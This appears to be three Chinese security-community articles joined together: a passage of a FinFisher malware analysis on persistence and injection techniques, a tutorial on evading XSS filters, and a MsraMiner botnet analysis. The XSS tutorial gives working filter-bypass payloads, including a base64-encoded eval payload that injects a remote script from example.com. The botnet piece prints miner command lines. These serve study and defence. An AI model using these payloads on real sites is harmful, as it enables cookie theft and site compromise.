32位的stage 2恶意软件会使用自定义的加载机制（该PE文件使用了拼凑形式的IAT以及重定位表），只导出了一个函数。对于64位的stage
2恶意软件，开发者使用了[非常知名](https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html)的[天堂之门（Heaven’s Gate）](http://www.alex-ionescu.com/?p=300)技术来移交代码执行权。下文中为了简单起见，我们只分析了64位的攻击载荷。
图9. 恶意软件所使用的天堂之门技术
## 五、Stage 2—第二个多平台虚拟机
64位的stage
2恶意软件实现了另一个加载器以及另一个虚拟机。整体架构与前文描述的非常相似，但操作码稍微有点不同。逆向分析完这些操作码后，我们更新了自己研发的解释器脚本，可以支持FinFisher使用的32位及64位虚拟机。
**序号** | **等效符号** | **功能描述**
---|---|---
0x0 | JMP | 经过特殊混淆处理的条件跳转（始终跳转或者始终忽略）
0x1 | JMP | 跳转到某个函数（与0x10操作码一样）
0x2 | CALL | 调用某个内部VM值所指向的函数
0x3 | CALL | 经过优化的CALL函数（类似32位虚拟机中的0x1E操作码）
0x4 | EXEC | 执行代码移动到下一个数据包
0x5 | JMP | 跳转到某个内部函数
0x6 | NOP | 空操作，移动到下一个数据包
0x7 | CALL | 调用某个导入的API（其地址存放在内部VM值中）
0x8 | LOAD | 将某个值载入VM描述符结构中
0x9 | STORE | 将内部VM值存储在某个寄存器中
0xA | WRITE | 解析某个指针，存放某个寄存器的值
0xB | READ | 将VM内部值所指向的值移动到某个寄存器中
0xC | LOAD | 将某个值加载到VM描述符结构中（未优化）
0xD | CMP | 将内部VM描述符指向的值与某个寄存器进行比较
0xE | CMP | 将内部VM描述符指向的值与某个立即数进行比较
0xF | XCHG | 将内部VM描述符指向的值与某个寄存器交换
0x10 | SHL | 跳转到某个函数（与0x1操作码一样）
新增的这个虚拟机的职能与前文描述的那个虚拟机一样，但新的虚拟机使用的是64位环境。该虚拟机可以提取并解密stage
3的恶意软件，而恶意软件存储在加密的资源中（如虚假的对话框）。恶意软件所使用的提取方法与前文描述的相同，但加密算法（同样是XOR算法）却更加简单。新的载荷会在内存中解密、重新映射并执行，代表的是恶意软件的安装以及本地持久化阶段。
## 六、Stage 3—采用新型DLL旁路加载技术的安装器
Stage
3的恶意软件代表的是FinFisher的安装程序，这是不使用虚拟机或混淆处理的第一个载荷。恶意代码支持两种不同的安装方法：在UAC环境中安装（只具备有限的权限），或者使用完整的管理员权限安装（如果恶意软件能够以高权限运行）。经过去混淆处理后，我们并没有发现恶意软件中用到了真正的特权提升漏洞技术，这有点令人失望，但似乎只要绕过UAC限制，FinFisher样本就可以正常工作。
安装代码会从上一个阶段那收到一个安装命令。在我们的测试过程中，这个命令对应的是3这个值。恶意软件创建了名为 _0x0A7F1FFAB12BB2_
的一个全局事件，将某些文件释放到 _C:ProgramData_
或者用户的应用程序数据目录中。恶意软件会从某个自定义的文件中读取待释放的目录名称以及恶意软件配置信息，而自定义的文件存放在安装程序的资源区域中。
在安装阶段可能释放出来的文件如下所示：
文件名 | **阶段** | **描述**
---|---|---
d3d9.dll | Stage 4 | 用于UAC环境的恶意软件加载器（具备部分权限），同样经过VM混淆保护处理
sspisrv.dll, userenv.dll | Stage 4 |
在管理员权限下使用的恶意软件加载器；从伪造的服务中执行或者注入到虚假服务中；同样经过VM混淆保护处理
msvcr90.dll | Stage 5 | 注入 _explorer.exe_ 或者 _winlogon.exe_
进程的恶意软件载荷，同样经过VM混淆保护处理
<随机名>.cab | Config | 主配置文件，经过加密处理
setup.cab | 未知 | 安装程序的最后一部分，具体内容仍然未知
<随机名>.7z | 插件 | 用来窥探受害者网络通信的恶意软件插件
wsecedit.rar | Stage 6 | 恶意软件主执行程序
完成以上某些文件的写入操作后，恶意软件会根据宿主进程（比如Microsoft Office进程）所具备的当前权限来决定执行哪种安装操作：
**1、在UAC环境下的安装过程**
在受限的UAC账户下运行时，安装程序会释放出`d3d9.dll`，并且在注册表的 _HKCUSoftwareMicrosoftWindowsRun_
路径中创建一个持久化键值。恶意软件将某个注册表键值设置为`C:Windowssystem32rundll32.exe
c:ProgramDataAuditAppd3d9.dll,
Control_Run`（键值名称从配置文件中读取）。在设置注册表之前，恶意软件会先截取屏幕，将截图置顶于其他所有窗口之上，持续若干秒。这表明开发者想在安装过程中隐藏系统提示的一些信息。
当使用命令2加载启动时，安装程序会将原始的 _explorer.exe_ 文件拷贝到当前运行的目录中，并将 _d3d9.dll_ 重命名为
_uxtheme.dll_ 。在这种情况下，恶意软件会从自己的启动位置加载原始的explorer.exe ，通过DLL旁路加载（side-loading）技术将执行权限移交给stage 4的恶意软件（下文会介绍），借此实现本地持久化目标。
最后，恶意软件会生成一个线程，利用该线程加载、重映射以及重定位stage 5的恶意软件。在UAC环境下，恶意软件的确没有必要执行stage
4攻击载荷。恶意软件会打开、读取并解密 _msvcr90.dll_ 文件，将代码执行控制权移交给 _RunDll_ 例程。
对于32位系统，恶意软件会尝试使用已公开的技术来绕过UAC（即启动 _printui.exe_ 进程，使用 _NtFilterToken_ 来操控令牌）。
**2、在管理员权限下的安装过程**
这种安装方法更加有趣一些，因为我们可以借此了解恶意软件如何在目标主机上实现隐蔽性的本地持久化目标。其实这种方法是渗透测试人员广泛使用的方法，但FinFisher实现了该方法的自动化及通用化。
恶意软件首先会枚举KnownDlls对象目录，扫描已缓存系统DLL的区段对象（section object）。接下来恶意软件会枚举 _%System%_
目录，查找某个带签名的原始Windows二进制程序（该程序会导入至少一个 _KnownDll_ 以及不在 _KnownDll_
目录中的某个库）。当恶意软件找到合适的`.exe`文件时，会将该文件拷贝到恶意软件的安装目录中（比如 _C:ProgramData_
）。此时恶意软件会从自己的资源区中提取并解密一个DLL（资源ID
101），再调用一个例程将代码段添加到目标模块中，这段代码伪造了一个与原始的系统DLL相同的导出表。在撰写本文时，释放器支持 _aepic.dll_ 、
_sspisrv.dll_ 、 _ftllib.dll_ 以及 _userenv.dll_
这些程序来承载FinFisher的恶意载荷。最后，恶意软件会创建一个新的Windows服务，其服务路径指向新目录中的那个`.exe`文件以及新创建的貌似无害的DLL。
利用这种方法，该服务会在系统启动时运行，从另一个目录执行原始的Windows可执行文件，可执行文件会在当前地址空间中自动加载并映射恶意DLL文件，而没有使用系统真正的库文件。这种方法属于DLL旁路加载（side-loading）的一种通用及变种组合。
图10. Windows Defender ATP时间线可以准确描绘出服务形式的DLL旁路加载技术（本例中使用的是`fltlib.dll`）
在之前我们曾见到过[其他攻击组织](https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf)（如LEAD）使用过名为“proxy-library（代理库）”的类似技术实现本地持久化，但专业程度并没有那么强，这种方法可以规避ASEP（auto-start extensibility
points）扫描器以及检查系统中是否存在以服务形式安装的恶意程序等安防软件（FinFisher所选择的服务在这些安全程序看来是经过签名的合法的Windows程序）。
恶意软件会使用 _OpenEventLog/ClearEventLog_ API清除系统事件日志，结束安装进程，调用 _StartService_
运行stage 4恶意软件。
图11. 借助DLL旁路加载技术运行的stage 4恶意软件会伪装合法程序的导出表以规避检测
## 七、Stage 4—劫持GDI函数实现注入的内存加载器
根据stage 4恶意软件的启动方式，可能会出现两种不同的情况：
1、在完整性较低的环境中（即受UAC限制），安装器会将stage 5恶意软件注入到先前启动的虚假 _explorer.exe_ 进程中，然后结束运行；
2、在完整性较高的环境中（具备管理员权限或者已绕过UAC），恶意代码会搜索内存中即插即用（Plug and Play）服务的宿主进程（通常为
_svchost.exe_ ），然后将自身注入到该进程中。
对于第二种场景，注入过程如下：
1、打开目标服务进程；
2、在服务进程的内存空间中分配并填充四块区域。其中一个内存块包含整个恶意软件DLL代码（但不包含PE头），另一个内存块用来复制基本的 _Ntdll_ 以及
_Kernel32_ 导入地址表，其他两个内存块包含一个异步过程调用（APC）例程的代码以及一段存根（stub）代码；
3、打开服务进程的服务线程，然后使用 _ZwQueueApcThread_ 原生API注入APC。
APC例程会在`svchost.exe`进程的上下文中创建一个线程，将stage 5恶意软件映射到`winlogon.exe`进程中并加以执行。
针对`winlogon.exe`进程的注入方法同样非常有趣也非常新颖。我们认为开发者之所以这么做，是为了规避常见的基于
_CreateRemoteThread_ 或者 _ZwQueueApcThread_ API的进程注入检测技术。
恶意软件会采用如下步骤实现进程注入：
1、检查系统主引导记录（MBR）中是否包含已感染标记（在 _0x2C_ 偏移处的8字节数据，值为 _0xD289C989C089_
），如果存在，则自动结束运行；
2、再次检查进程是否附加到某个调试器上（使用前文描述的技术）；
3、读取、解密以及映射stage 5恶意软件（位于前一阶段的 _msvcr90.dll_ 中）；
4、打开 _winlogon.exe_ 进程；
5、加载 _user32.dll_ 系统库，从进程环境块（PEB）中读取 _KernelCallbackTable_ 指针（注意：
_KernelCallbackTable_ 指针指向的是Win32内核子系统模块 _win32k.sys_
所使用的一个图形函数数组，是进入用户模式的回调函数）；
6、计算该指针与User32基地址的距离；
7、将stage 5 DLL载荷拷贝到`winlogon.exe`中；
8、在`winlogon.exe`进程中分配一段内存空间，然后拷贝前面提到过的那个APC例程；
9、读取并保存__fnDWORD内部User32例程的原始指针（位于 _KernelCallbackTable_ 偏移地址+ _0x10_
处），将该指针替换为APC存根例程的地址。
在劫持这个函数指针之后，当`winlogon.exe`执行任何图形调用（GDI）时，恶意代码就可以执行，无需使用容易被检测到的
_CreateRemoteThread_ 或者类似触发技术。恶意代码执行后也会仔细恢复原始的 _KernelCallbackTable_ 。
## 八、Stage 5—粉墨登场的最终加载器
Stage 5恶意软件的唯一功能是通过VM为最终的恶意软件载荷提供另一个混淆保护层，然后设置一个特殊的结构化异常处理例程，以 _Ntdll_ 中的
_Wow64PrepareForException_
身份注入。恶意软件需要使用这个特殊的异常处理例程来管理某些内存缓冲区保护以及特殊异常，这些机制可以用来实现更为隐蔽的执行。
当VM代码再次检查用户环境后，恶意软件将最终的未经混淆的载荷样本直接提取到`winlogon.exe`进程中并加以执行（也可能提取到`explorer.exe`进程中）。当恶意软件提取、解密攻击载荷并将载荷映射到进程内存中后，就会调用新的DLL入口点，然后再调用`RunDll`这个导出函数，后者完整实现了整个间谍程序。
## 九、Stage 6—有待分析的模块化间谍软件框架
在对FinFisher去混淆处理的过程中，我们可以了解这款恶意软件所使用的复杂的反分析技术，也可以利用这些情报来保护我们的客户，这正是我们的首要任务。未来我们需要进一步对其他间谍软件模块进行分析。
显然，这个程序的最终目标是窃取信息。恶意软件采用了模块化架构，这意味着该软件可以执行各种插件。相关插件存放在恶意软件的资源区中，同样经过相同的VM保护。比如，我们10月份分析的那个样本中包含一个能够窥探互联网连接的插件，该插件甚至可以转移某些SSL连接，从加密流量中窃取数据。
某些FinFisher变种还会包含一个[MBR
rootkit](http://artemonsecurity.blogspot.com/2017/01/finfisher-rootkit-analysis.html)，其具体目的仍不明确。很有可能这种变种针对的是类似Windows
7之类的老平台以及没有采用UEFI以及SecureBoot之类硬件保护机制的主机（Windows
10已具备这种保护机制）。详细分析这种代码已经超过了本文的讨论范围，可能需要另一篇专门的文章来分析。
## 十、如何防护FinFisher
在这个艰辛的分析过程中，我们尽可能详细地揭晓FinFisher所留下的谜题，这样就能确保我们的客户免受这款先进的恶意软件的侵袭。
[Windows 10 S](https://www.microsoft.com/en-us/windows/windows-10-s?ocid=cx-blog-mmpc)设备具备强大的代码完整性策略，不允许运行或加载未知的、未经签名的程序（因而可以阻止FinFisher
PE安装器的运行、阻止FinFisher所使用的本地持久化DLL），因此自然能够防护FinFisher或者其他安全威胁。在[Windows
10](https://www.microsoft.com/en-us/windows/get-windows-10?ocid=cx-blog-mmpc)上，我们可以使用[Windows Defender Application
Control](https://cloudblogs.microsoft.com/microsoftsecure/2017/10/23/introducing-windows-defender-application-control/)来配置类似的代码完整性策略。
[Office 365 Advanced Threat Protection](https://products.office.com/en-us/exchange/online-email-threat-protection?ocid=cx-blog-mmpc)可以阻止使用0day漏洞来传播恶意载荷（如FinFisher）的电子邮件[攻击活动](https://cloudblogs.microsoft.com/microsoftsecure/2017/11/21/office-365-advanced-threat-protection-defense-for-corporate-networks-against-recent-office-exploit-attacks/)。Office 365 ATP可以使用点击时（time-of-click）防护机制来阻止不安全的附件、恶意链接以及链接到文件的攻击行为。利用研究FinFisher所得到的情报，我们改进了Office 365
ATP，使其能够进一步防护FinFisher的反沙箱检测技术。
[Windows Defender Advanced Threat Protection](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)中的通用检测、高级行为分析以及机器学习技术可以检测FinFisher在整个攻击链条中的恶意行为，向SecOps（安全管理）人员告警。Windows
Defender ATP同样集成了Windows防护栈，因此来自[Windows Defender
AV](https://www.microsoft.com/en-us/windows/windows-defender?ocid=cx-blog-mmpc)以及[Windows Defender Exploit
Guard](https://blogs.technet.microsoft.com/mmpc/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/)的防护功能也纳入了Windows Defender
ATP入口中，这样就能帮助SecOps人员实现集中化的安全管理，可以及时调查和响应网络中的恶意活动。
在本文中我们阐述了FinFisher所使用的多层保护机制、混淆机制以及反分析技术，希望能给研究这款恶意软件的其他分析人员提供一些帮助。我们认为整个行业的协作和信息共享非常重要，可以帮助客户免受这种复杂的恶意软件的影响。如果想进一步了解的话，我们推荐大家阅读如下这些参考资料：
* [Devirtualizing FinSpy](http://linuxch.org/poc2012/Tora,%20Devirtualizing%20FinSpy.pdf) [PDF], Tora (2012)
* [Finfisher rootkit analysis](http://artemonsecurity.blogspot.com/2017/01/finfisher-rootkit-analysis.html), Artem Baranov (2017)
* [A Walk-Through Tutorial, with Code, on Statically Unpacking the FinSpy VM: Part One, x86 Deobfuscation](http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation), Rolf Rolles (2018)
* [FinSpy VM Part 2: VM Analysis and Bytecode Disassembly](http://www.msreverseengineering.com/blog/2018/1/31/finspy-vm-part-2-vm-analysis-and-bytecode-disassembly), Rolf Rolles (2018)
* [ESET’s guide to deobfuscating and devirtualizing FinFisher](https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf) [PDF], Filip Kafka (2018) | 社区文章 |
# 介绍
在进行网络攻击的过程中，当我们发现目标网站存在过滤器或防火墙时，我们还有多大的可能性可以利用反射（甚至是存储型）XSS。此时，绕过防火墙或过滤器最有效的方法之一是使用全局变量，如self、document、this、top或windows。
我将在[PortSwigger Web Security Academy](https://portswigger.net/web-security
"PortSwigger Web Security
Academy")实验室测试本文中出现的所有payload，您也可以使用浏览器JavaScript控制台对其进行测试。
# 前言
什么是JavaScript全局变量？
> JavaScript全局变量在函数外部声明或使用Window对象声明。任何函数都可以访问它。
假设您的目标web应用程序存在JavaScript字符串或JavaScript函数中的反射型XSS。
例如，让我们看一个PHP例子：
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
可以看出，name参数存在漏洞。但在本例中，假设Web应用程序有一个过滤器，该过滤器防止对任何使用正则表达式的用户输入使用“document.cookie”字符串，如`/document[^\.]*.[^\.]*cookie/`。我们来看看以下payload：
在这种情况下，可以使用JavaScript全局变量来绕过它。我们有很多方法可以从window或self对象访问document.cookie。例如，诸如`window["document"]["cookie"]`之类的内容将不会被阻止：
从上面的示例中可以看到，可以利用和`alert("foo");`等价的语法`self["alert"]("foo")`访问任何JavaScript函数，这种语法提供了许多绕过弱过滤器的方法。显然，您几乎可以在任何地方使用注释，例如：
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
# 关于"self"对象、
`Window.self`只读属性以`WindowProxy`的[形式](https://developer.mozilla.org/en-US/docs/Web/API/WindowProxy
"形式")返回窗口本身。它可以与window对象(即window.self)或独立对象(Self)上的点符号一起使用。独立表示法的优点是，对于非窗口上下文(如Web
Workers)也存在类似的表示法。通过使用self，您可以引用全局作用域，这种方法不仅可以在窗口上下文中工作(self将解析为window.self)，还可以在工作上下文（
worker context）中工作(self随后将解析为WorkerGlobalScope.self)。
您可以从以下位置调用任何JavaScript函数：window
self
_self
this
top
parent
frames
# 1.连接和十六进制转义序列
绕过WAF规则的最常见技术之一是在尽可能的情况下使用字符串连接。对于RCE来说也是如此，即使对于SQLi也是如此，对于JavaScript也是如此。
有许多WAF使用基于JavaScript函数名称列表的过滤器。其中许多过滤器阻止包含字符串的请求，例如`alert()`或`String.fromCharCode()`。由于有了全局变量，可以使用字符串串联或十六进制转义序列轻松地绕过它们。
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
绕过过滤器的一个更复杂的语法是用十六进制转义序列替换字符串。字符代码小于256的任何字符都可以使用其十六进制表示形式进行转义，并使用\x转义序列：
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
显然，将"alert", "document"和"cookie"字符串替换为它们的十六进制表示形式，就可以调用前面看到的其中一个全局变量中的任何函数：
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
# 2.Eval和Base64编码的字符串
如果WAF过滤我们的输入,那么最难做的事情之一是动态创建(并添加)一个脚本元素，它调用一个远程JavaScript文件(类似于`<script
src="http://example.com/evil.js"`
...)。即使过滤器比较弱，也不容易做到这一点，因为有许多“可识别的”模式，如`<script, src=, http://`等等。
`Base64`和`eval()`可以帮助我们，特别是如果我们可以避免发送“eval”字符串作为用户的输入。请看以下示例：
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
如前所示，我使用十六进制表示的`"eval"
self["\x65\x76\x61\x6c"]`和“atob”对Base64字符串`self[“\x61\x74\x6f\x62”]`进行解码。在Base64字符串中，有以下脚本：
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
# 3.jQuery
正如本文通篇提到的，JavaScript为您提供了许多绕过过滤器的方法，这句话在使用jQuery等库的现代网站上更是如此。假设您不能使用`self["eval"]`及其十六进制表示形式，您可以让jQuery执行`self["$"]["globalEval"]`操作
您甚至可以使用`self["$"]["getScript"](url)`轻松地添加本地或远程脚本。getScript使用GET
HTTP请求从服务器加载JavaScript文件，然后执行它。该脚本是在全局上下文中执行的，因此它可以引用其他变量并使用jQuery函数。
# 4.迭代和Object.keys
Object.keys()方法返回给定对象自身属性names的数组，其顺序与使用普通循环得到的顺序相同。
这意味着我们可以通过使用它的索引号而不是函数名来访问任何JavaScript函数。例如，打开浏览器的Web控制台并输入：
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
这将为您提供self对象内的“alert”函数的索引号。这个数字在每个浏览器和每个打开的文档上都是不同的(在我的示例中是5)，但它可以使您能够调用任何函数，而无需使用其名称。例如：
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
为了迭代self内部的所有函数，可以循环访问self对象，并使用`typeof elm === "function"`检查元素是否为函数。
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)
迭代self内部的所有函数
如前所述，此编号可以在不同的浏览器和文档中更改，因此，如果不允许使用“alert”字符串，并且不能使用上述任何方法，那么如何找到“alert”索引号？
JavaScript为您提供了很多执行此操作的机会。我们可以做的一件事是为变量(a)分配一个函数，该函数迭代self并找到alert索引号。然后，我们可以使用`test()`查找带有正则表达式的“alert”，如`^a[rel]+t$`：
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
# 结论
过滤和验证，这两个术语经常被初学者混淆。验证意味着验证提交的数据是否符合开发人员为特定输入字段设置的规则或规则集。显然，对用户输入进行良好的验证是Web应用程序应该做的一件非常重要的事情。
原文：https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/ | 社区文章 |
# MsraMiner: 潜伏已久的挖矿僵尸网络
##### 译文声明
本文是翻译文章，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/>
译文仅供参考，具体内容表达以及含义原文为准。
2017 年 11 月底，我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常。经过我们深入分析，确认这背后是一个从 2017 年 5
月份运行至今的大型挖矿僵尸网络（Mining Botnet）。此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb
，我们将其命名为MsraMiner Botnet。
该僵尸网络的特征包括：
* 运行时间：2017 年 5 月份运行至今
* 传播方式：
* 利用 NSA 武器库来感染，通过 SMB 445 端口传播
* 蠕虫式传播：样本自带 Web Server提供自身恶意代码下载。样本扩散主要靠失陷主机之间的 Web Server 或 Socket 传输，同时提供了 C&C 端获取样本作为后备机制；
* 传播范围：感染失陷主机数量保守估计30,000 台
* 获利手段：主要是挖矿
* 挖矿进程由 XMRig 编译而来；
* 矿池：利用自行注册的域名做掩护，CNAME到知名的 xmr.pool.minergate.com
* 矿池账号：是一批 Protonmail 的邮箱地址，Protonmail 是知名的匿名邮箱供应商
* 部分样本的挖矿行为，可以根据 C&C 域名的解析结果来控制；
* 新的逃避检测的手段：
* C&C 域名形似 DGA 产生，非常随机，其实都硬编码在样本中；
* 主动抑制：C&C 域名大部分时间会解析到保留地址段，会一定程度上抑制样本的传播和更新，历史上解析过的 C&C IP 相关端口也会封闭，只会在短暂的时间内放开 C&C 的正常服务功能。
## 规模与流行度
根据 DNSMon 统计，MsraMiner 相关 C&C 域名中请求量最高的是 d.drawal.tk ，巅峰时期达到 6.7M/天，直
到现在，每天的请求量还在 2M 上下：
其他 C&C 域名的请求量均低一个数量级，但巅峰时期也能达到 500K+/天，趋势图如下：
在我们 DNSMon 内部的域名流行度排行中， s.darwal.tk 历史最高流行度排名达到 165417
名。作为对比，我们此前发现的百万级僵尸节点的僵尸网络 MyKings 中，历史流行度排名最高的 C&C 域名 up.f4321y.com 排名为 79753
。
## MsraMiner 的版本与迭代
据我们的追溯分析，MsraMiner 共有 2 个大版本，每个大版本中有 1 版明显的更新，我们将其版本命名为
v1.0/v1.1，v2.0/v2.1(当前最新)，各版本发生的期间和对应的C2 如下表所示：
MsraMiner v1.x 组成结构简单，小版本更新主要区别在于 C&C：
* v1.0 起始于 2017.5 月份，2017.7 月份终止，仅靠一个主 C&C 域名 eea.asf3r23.cf 支撑；
* v1.1 起始于 2017.7 月份，2017.11 月份开始逐渐消亡，主要靠 3 个 C&C 域名 s.drawal.tk / d.drawal.tk / z.drawal.tk 支撑。
* v1.0 / v1.1 的更新，通过前面的域名请求趋势图可以清晰地看出来，在 2017.7 月初， eea.asf3r23.cf 的请求量骤降，而 *.darwal.tk 三个域名的请求量骤增。
MsraMiner v2.x 组成相对复杂，小版本更新主要区别在于部分文件名和服务名的变更，以及与 C&C 服务器的交互。细节：
* v2.0 起始于 2017.11 月份，此时， *.darwal.tk 三个域名的请求量骤降，而 swt.njaavfxcgk3.club / rat.kziu0tpofwf.club 等 C&C 域名的请求量骤增；
* v2.1 起始于 2017.12 月底，此时 MsraMiner 上线了一批新的 C&C 域名，并对样本做了小幅更新。
MsraMiner 这些版本相关的域名、样本、IP 等 IoC，在背后都有千丝万缕的联系，通过下图可以直观看出来（箭头所指为 IoC 关联的点）：
## 挖矿
第一代 MsraMiner 挖矿行为相对简单，启动参数如下（其他配置则在 iolchxfz32.dat 文件中）：
‐o stratum+tcp://xmr.pool.minergate.com:45560‐u [email protected] ‐t %d
第二代 MsraMiner 挖矿的矿池和账户就比较隐蔽。矿池地址和账户以及部分 C&C 域名被硬编码在前一阶段样本
中，并由前一阶段样本保存到注册表中。下一阶段样本会读取注册表中的加密数据，解密之后作为启动矿机的参 数，其中解密出来的矿池域名和挖矿账户：
-o p1.mdfr6avyyle.online:45560 -u [email protected]
-o p3.mdfr6avyyle.online:45560 -u [email protected]
-o p5.mdfr6avyyle.online:45560 -u [email protected]
-o p1.qsd2xjpzfky.site:45560 -u [email protected]
-o p3.qsd2xjpzfky.site:45560 -u [email protected]
-o p5.qsd2xjpzfky.site:45560 -u [email protected]
-o p1.vpccaydoaw.live:45560 -u [email protected]
-o p3.vpccaydoaw.live:45560 -u [email protected]
-o p5.vpccaydoaw.live:45560 -u [email protected]
MsraMiner 启动矿机（XMRig），还会根据当前 CPU 配置自动调整 -t 参数，即线程数，调整策略如下：
而上面那些矿池域名并非自建矿池，它们的 CNAME 都是 xmr.pool.minergate.com ，我们统计到的 CNAME 配置为
xmr.pool.minergate.com 的域名有：
p1.jdi1diejs.club
p1.mdfr6avyyle.online
p1.qsd2xjpzfky.site
p1.vpccaydoaw.live
p3.mdfr6avyyle.online
p3.qsd2xjpzfky.site
p3.vpccaydoaw.live
p4.jdi1diejs.club
p5.mdfr6avyyle.online
p5.qsd2xjpzfky.site
p5.vpccaydoaw.live
## V1.x 系列样本行为分析
### 文件构成
第一代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）
其中的 Crypt 文件实为 NSA Toolkit Zip 压缩包，其解压后的文件列表如下：
### 执行流程
第一代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿，其感染的概要过程为（A 与 B 均为失陷主机）：
(A)svchost.exe–>(A)spoolsv.exe–>(payload to crack
B)x86.dll/x64.dll–>(B)svchost.exe
流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v1.1 的样本分析结果进行描述）：
首先，A 中启动的 svchost.exe 程序，通过 schtasks.exe /create 命令注册系统服务，开机启动，从而驻留系统：
A 中 svchost.exe 通过 HTTP POST 请求，向 hxxp://d.drawal.tk:443 发送程序运行日志 [*] Hello %d
min…\n ，后续运行过程中还会频繁向该接口发送其他内容的程序运行日志。v1.0 版本中，承载此功能的C&C 域名是 eea.asf3r23.cf ；
A 中 svchost.exe 启动一个线程，从自身 BIN 资源中抽取矿机程序，启动挖矿；
A 中 svchost.exe 启动一个线程，该线程启用了一个 Mongoose 框架实现的 Mini Web Server，端口为
26571 ，该 Web Server 把本机的 dnsclientprovider_userdata.mof 文件对外提供下载，对方通过 HTTP
GET 方式请求此资源，svchost32.exe 就会把该文件推送过去；如果对方通过其他 HTTP Post 访问该 Web 服务，则返回 HTTP
404；如果是其他 HTTP Method 访问该 Web 服务，则返回字符串 Hell World? ；
A 中 svchost.exe 启动线程，每隔 900s 运行一次本地的 spoolsv.exe 程序，该程序会先释放自身 BIN 资源中的 Crypt
（实为 NSA Toolkit zip 压缩包），将 Crypt 解压，并把其中的文件释放到 %win_dir%\IME\Crypt\ 目录中，然后启动
Crypt 目录中的相关工具程序，对同网段中其他机器（比如机器B）发起感染；
A 中 spoolsv.exe 会启动 Crypt\spoolsv.exe 发起感染，如果成功感染机器 B，则会把 Crypt\x86.dll
作为Payload 去机器 B 上执行；
A 中 svchost.exe 每隔 901.5s 左右向 z.drawal.tk:8080 发送一次本机详细配置信息，v1.0 版本中，承载此功能的
C&C 域名为 eea.asf3r23.cf ；
B 中，x86.dll 文件做以下几件事：
* create mutex {5EC0AC33D-E23D-C8A2-A92C833} ；
* 检测本地是否存在 dnsclientprovider_userdata.mof ，若有，则删除；
* 从 A 机器的 Mini Web Server 获取 dnsclientprovider_userdata.mof ，将其中的 iolchxfz32.dat / svchost32.exe / spoolsv32.exe 解压出来，放到 %win_dir%\IME\Crypt\ 中，并
分别重命名为 settings7283.dat / svchost.exe / spoolsv.exe
* 将 svchost.exe 通过 schtasks.exe /create 命令注册系统服务，并启动 svchost.exe；
* 至此，通过 (A)svchost.exe–>(A)spoolsv.exe–>(payload to crack B)x86.dll–>(B)svchost.exe 的攻击链完成一轮感染。
值的一提的是，svchost.exe 可以通过 s.drawal.tk 域名的解析情况来控制矿机的启动与终止（v1.0 不具有此功能）：
* 如果 s.drawal.tk 解析 IP 的 A 段数字为 1 或 3 ，则不启动矿机，0.3s 后重新检查解析结果；
* 如果 900s 之后 s.drawal.tk 的解析结果有变化，则终止矿机运行。
## V2.x 系列样本行为分析
### 文件构成
第二代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）：
第二代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿。其感染的概要过程为（A 与 B 均为失陷主机）：
(A)srv–>(A)spoolsv.exe–>(payload to crack B)x86.dll/x64.dll–>(B)srv.exe
流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v2.1 的样本分析结果进行描述）：
* A 中，srv 是个 DLL 文件，是 MsraMiner 驻留失陷主机的核心服务文件，在失陷主机上会被重命名为 tpmagentservice.dll 。srv 中的 ServiceCrtMain() 函数由 NSA 工具包的 Payload 启动：
